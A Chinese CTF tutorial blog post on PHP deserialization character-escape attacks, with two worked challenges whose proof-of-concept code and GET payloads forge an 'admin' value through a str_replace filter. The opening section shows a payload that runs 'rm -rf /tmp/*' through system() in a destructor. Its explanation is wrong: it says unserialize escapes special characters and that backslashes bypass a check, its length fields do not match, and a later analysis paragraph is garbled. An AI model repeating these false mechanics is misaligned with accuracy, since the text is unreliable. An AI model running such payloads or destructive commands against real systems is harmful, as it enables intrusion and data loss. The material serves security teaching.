作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)
本专栏CTF基础入门系列打破
以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式
。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~
目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。
本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~
本文目录
1. 什么是反序列化字符逃逸2. CTF中的两种考点2.1 考点一字符串变多2.2 考点二字符串变少1. 什么是反序列化字符逃逸
PHP反序列化漏洞是指攻击者通过构造恶意序列化数据,使得PHP的反序列化函数在反序列化时执行了恶意代码,从而导致安全漏洞。其中,反序列化字符逃逸是指攻击者在构造恶意序列化数据时,使用特殊字符来绕过PHP反序列化函数的检查,从而实现攻击的目的。
具体来说,PHP反序列化函数在反序列化时,会对序列化字符串中的特殊字符进行转义,例如将双引号转义为\”、将反斜杠转义为\等。攻击者可以利用这个特性,在构造恶意序列化数据时,使用特殊字符来绕过PHP反序列化函数的检查,从而实现攻击的目的。
下面给出一个简单的示例:
<?phpclass Test {public $cmd;function __destruct() {if(isset($this->cmd)) {system($this->cmd);}}}$input = $_GET['data'];$obj = unserialize($input);?>
上述代码中,我们定义了一个Test类,其中包含一个cmd成员变量和一个__destruct()方法。在__destruct()方法中,我们判断了cmd成员变量是否被设置,如果被设置,则调用system()函数执行cmd命令。
接下来,我们使用unserialize()函数将一个序列化字符串反序列化成一个Test对象。假设攻击者构造了如下的序列化字符串:
O:4:"Test":1:{s:3:"cmd";s:10:"echo hello";}
这个序列化字符串表示一个Test对象,其中cmd成员变量的值为echo hello。在反序列化时,PHP会对序列化字符串中的特殊字符进行转义,因此我们实际上传入的字符串为:
O:4:\"Test\":1:{s:3:\"cmd\";s:10:\"echo hello\";}
这个字符串会被成功反序列化成一个Test对象,并在__destruct()方法中执行echo hello命令。但是,如果攻击者使用了反序列化字符逃逸技巧,构造了如下的序列化字符串:
O:4:"Test":1:{s:3:"cmd";s:23:"echo hello; rm -rf /tmp/*";}
这个序列化字符串中,我们在cmd成员变量的值中使用了分号和空格,这些字符在PHP中是特殊字符,会被转义。但是,攻击者使用了反序列化字符逃逸技巧,在分号和空格前加上了反斜杠,从而绕过了PHP反序列化函数的检查。
O:4:“Test”:1:{s:3:"cmd";s:28:"echo hello\;\ rm -rf /tmp/*";}
tips:让gpt 帮我们判断下是否成功逃逸
因此,这个字符串会被成功反序列化成一个Test对象,并在__destruct()方法中执行echo hello; rm -rf /tmp/*命令,导致系统被攻击者控制。
综上所述,反序列化字符逃逸是一种常见的安全漏洞,在使用PHP反序列化函数时需要格外注意。为了防止这种漏洞,我们应该对反序列化的输入进行严格的检查和过滤,避免恶意数据的注入。
2. CTF中的两种考点
比赛中很少直接考绕过,反而会变相考个字符串位数变化的问题
2.1 考点一字符串变多
源码<?phpinclude 'flag.php';function filter($string){return str_replace('x','yy',$string);}$username=$_GET['u'];$password="aaa";$user=array($username,$password);$s=serialize($user);$r=filter($s);echo $r;$a= unserialize($r);if ($a[1]==='admin'){echo $flag; }highlight_file(__FILE__);?>
题目代码分析
这段PHP代码接收一个名为u的GET参数,将其作为用户名创建一个包含用户名和密码的数组,并使用PHP的serialize函数将其序列化为字符串。然后,将这个字符串传递给名为filter的函数,该函数将字符串中的所有x替换为yy,并将替换后的字符串返回。最后,使用echo语句将替换后的字符串输出到页面上。
接着,使用PHP的unserialize函数将输出的字符串反序列化为数组,并检查该数组的第二个元素是否等于"admin"。如果是,那么将输出存储在名为$flag的变量中的flag字符串。
思路 目标为password=admin,但是源码中已经设定值为aaa
⽂件包含了 flag然后 filter() ⽅法,会将序列化字符串中的x替换为yy,可能会导致字符串⻓度。所以希望借助字符变多,将我们password=admin传入序列化中,将password=aaa排除,反序列化时不执行。试着传⼊ u=admin 序列化为:
构造poc获取所需字段
<?php$a= array('a',"admin");echo serialize($a);?>// 输出结果// a:2:{i:0;s:1:"a";i:1;s:5:"admin";}// 我们需要的字符串为 ";i:1;s:5:"admin";} 数一数长度共19。
但是我们只有⼀个参数 username 可控可以利⽤字符串逃逸复制⾃⼰想要构造的字符串换算 x替换为yy 长度翻倍原则。所以 要加入的字段";i:1;s:5:“admin”;}长度为19,所以要在;“i:1;s:5:“admin”;}增加19个x
xxxxxxxxxxxxxxxxxxx”;i:1;s:5:“admin”;}这样长度为38,yy替换后前方x变为38长。i:0;s:5:“admin”;变为了第二个参数的位置。}结束标志,后面原有的密码位置,不在参与反编译。验证poc如下
<?php$user=array('xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}','aaa');$s=serialize($user);echo $s.'<br>';$result = str_replace('x','yy',$s);echo $result;?>// a:2:{i:0;s:38:"xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}";i:1;s:3:"aaa";}// a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}
a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}
数一数 正合适。还可以反序列化验证更直观
<?php$s = 'a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}';$result = unserialize($s);print_r($result);?>/* Array([0] => yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy[1] => admin)*/
攻击代码分析
这段代码构造了一个包含恶意代码的数组,并使用PHP的serialize函数将其序列化为字符串。恶意代码是在用户名中的字符串中包含序列化数组的语法,即’i:1;s:5:“admin”;‘。该字符串中的"xx"将被替换为’";i:1;s:5:“admin”;}',从而生成一个恶意的序列化字符串。然后,使用echo语句将序列化字符串输出到页面上。
攻击者将生成的恶意序列化字符串插入到上一个代码示例中的GET参数u中,然后发送给服务器。当服务器接收到恶意序列化字符串时,它将被传递给filter函数进行处理。在这个函数中,所有的"x"都将被替换为"yy"。因此,恶意序列化字符串中的’i:1;s:5:“admin”;‘将变成’iyys:5:“admin”;}’。这将导致unserialize函数将恶意字符串解析为包含用户名和密码的数组,并将密码设置为"admin"。最后,如果检查密码时将其设置为"admin",则将输出flag,从而达到攻击目的。
这个例子说明了序列化是一个非常强大的工具,但在处理不受信任的用户输入时,需要格外小心。必须对用户输入进行验证和过滤,以避免受到序列化注入攻击的风险。
完美!所以payload
?u=xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}
2.2 考点二字符串变少
源码原理同上,仅是利用方式上有小部分变化,请看题目
<?phperror_reporting(0);include 'flag.php';function filter($string){return str_replace('sec','',$string);}$username=$_GET['u'];$password=$_GET['p'];$auth="guest";$user=array($username,$password,$auth);$s=serialize($user);$r=filter($s);$a=unserialize($r);if($a[2]==='admin'){echo flag; }highlight_file(__FILE__);?>
代码分析
这段代码是一个基于 PHP 语言的简单的 Web 应用程序。主要功能是通过 GET 请求从用户那里获取用户名和密码,对它们进行序列化处理,然后使用自定义的 filter 函数进行过滤,最后再次反序列化,并检查用户是否具有管理员权限。
以下是代码的详细解释:
这段代码是一个基于 PHP 语言的简单的 Web 应用程序。主要功能是通过GET
请求从用户那里获取用户名和密码,对它们进行序列化处理,然后使用自定义的filter
函数进行过滤,最后再次反序列化,并检查用户是否具有管理员权限。
以下是代码的详细解释:
第一行禁止错误报告,这意味着在应用程序中的错误不会输出到屏幕上,这是出于安全原因。
第二行包含一个名为flag.php
的文件,这是一个包含了敏感信息(比如说答案或密码)的文件。通常情况下,这个文件是被加密的或者被保存在安全的位置,这个例子中则没有做到这些保护措施,所以这个文件可能会受到攻击。
接下来定义了一个名为filter
的函数,这个函数接受一个字符串作为参数,然后将其中的 ‘sec’ 进行替换成空字符串,最后返回过滤后的字符串。这个函数的目的是为了防止在序列化的过程中,将 “secret” 字符串包含在其中。因为这个字符串可能会被用来攻击应用程序。
然后通过$_GET
获取了两个参数u
和p
,分别代表用户名和密码。
将获取到的用户名和密码存储在一个数组$user
中,并将该数组序列化为字符串$s
。
调用自定义的filter
函数,对序列化后的字符串进行过滤,然后将过滤后的字符串存储在变量$r
中。
调用 PHP 的unserialize
函数将$r
反序列化,得到了存储在$user
数组中的用户名、密码和权限信息。
如果反序列化后的$user
数组的第三个元素是 ‘admin’,那么就会输出包含敏感信息的flag.php
文件。这里使用了===
严格相等的判断方式,确保比较的值不仅相等,而且类型也要一致。
最后使用 PHP 的highlight_file
函数将当前 PHP 文件的源代码以 HTML 格式输出到页面上,方便调试和查看。
解题思路
与上一题思路几乎一样,仅是字符这回是往少了变,以便增加个属性。
关键点在两处,能传参的两个参数的作用
第一个参数,用来减少字符,用于给把增加的第三个数组值引进来第二个参数,分三部分,前一部分用于被第一个参数长度吃掉,防止报错;中间部分,用于伪造第二个参数;后一部分,用于闭合,构造第三个所需admin参数格式";i:2;s:5:“admin”;}。 构造poc
<?phpfunction filter($string){return str_replace('sec','',$string);}$user=array('secsecsecsecsec123','sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}','guest');$s=serialize($user);echo '$s='.$s.'<br>';$r=filter($s);echo '$r='.$r.'<br>';$a=unserialize($r);print_r($a);if($a[2]==='admin'){echo 'Great! you have got the flag!'; }?>// 输出结果/*$s=a:3:{i:0;s:18:"secsecsecsecsec123";i:1;s:36:"sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}";i:2;s:5:"guest";}$r=a:3:{i:0;s:18:"123";i:1;s:36:"sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}";i:2;s:5:"guest";}Array([0] => 123";i:1;s:36:"sdf[1] => sdf[2] => admin)Great! you have got the flag!*/
下面就开始构建payload
?u=secsecsecsecsec123&p=sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}
验证 完美
<?phpfunction filter($string){return str_replace('sec','',$string);}// $user=array('secsecsecsecsec123','sdf','admin');// $user=array('secsecsecsecsec123','sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}','guest');$username='secsecsecsecsec123';$password='sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}';$auth="guest";$user=array($username,$password,$auth);$s=serialize($user);echo '$s='.$s.'<br>';$r=filter($s);echo '$r='.$r.'<br>';$a=unserialize($r);print_r($a);if($a[2]==='admin'){echo 'Great! you have got the flag!'; }?>/*$s=a:3:{i:0;s:18:"secsecsecsecsec123";i:1;s:36:"sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}";i:2;s:5:"guest";}$r=a:3:{i:0;s:18:"123";i:1;s:36:"sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}";i:2;s:5:"guest";}Array([0] => 123";i:1;s:36:"sdf[1] => sdf[2] => admin)Great! you have got the flag!*/